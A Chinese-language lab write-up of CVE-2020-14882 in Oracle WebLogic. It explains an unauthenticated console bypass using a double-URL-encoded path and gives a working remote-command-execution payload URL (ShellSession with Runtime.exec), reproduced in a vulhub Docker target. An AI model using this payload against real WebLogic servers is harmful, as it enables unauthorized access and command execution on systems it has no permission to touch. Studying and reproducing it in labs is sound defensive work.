CVE-2020-14882
影响范围:
Oracle WebLogic Server: 10.3.6.0.0
Oracle WebLogic Server: 12.1.3.0.0
Oracle WebLogic Server: 12.2.1.3.0
Oracle WebLogic Server: 12.2.1.4.0
Oracle WebLogic Server: 14.1.1.0.0
漏洞类型:
未授权访问、Java反序列化
操作系统限制:
无
配置要求:
7001端口对外开放
漏洞利用:
命令执行,信息泄露,反弹shell
利用原理:
WebLogic控制台的权限检验逻辑是,如果访问静态资源则直接放行,如果是敏感的管理页面,则检查Cookie确认登录状态,攻击者通过构造含静态路径字段的payload来绕过WebLogic前端拦截器,访问路径为 /console/css/../console.portal,WebLogic内部引擎会对url编码部分进行解码,所以攻击者通过二次url编码构造成/console/css/%252e%252e%252fconsole.portal,来绕过WebLogic的拦截器,经过一次解码后为/console/css/%2e%2e%2fconsole.portal,WebLogic前端拦截器识别为静态资源成功绕过登录认证进入到管理后台。WebLogic控制台允许通过handle参数来指定一个Java类来处理请求,通过利用WebLogic自带的FileSystemXmlApplicationContext类来根据路径加载解析一个XML配置文件,攻击者可以在攻击机临时服务器放置恶意XML文件,利用解析XML的性质,动态通过反射机制创建对象设置属性,通过构建的恶意链实现命令执行
漏洞复现:
现成的vulhub来拉取镜像
#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/weblogic/CVE-2020-14882
#拉取镜像
docker-compose up -d
直接http://靶机ip:7001/console,重定向到登录界面http://靶机ip:7001/console/login/LoginForm.jsp

访问http://靶机ip:7001/console/css/%252e%252e%252fconsole.portal,绕过登录直接进入管理控制台主页面,实现未授权访问

进行命令执行,touch /tmp/success,返回404
http://靶机IP:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch /tmp/success');")
进入容器查看tmp目录,出现success,说明成功执行敏感命令
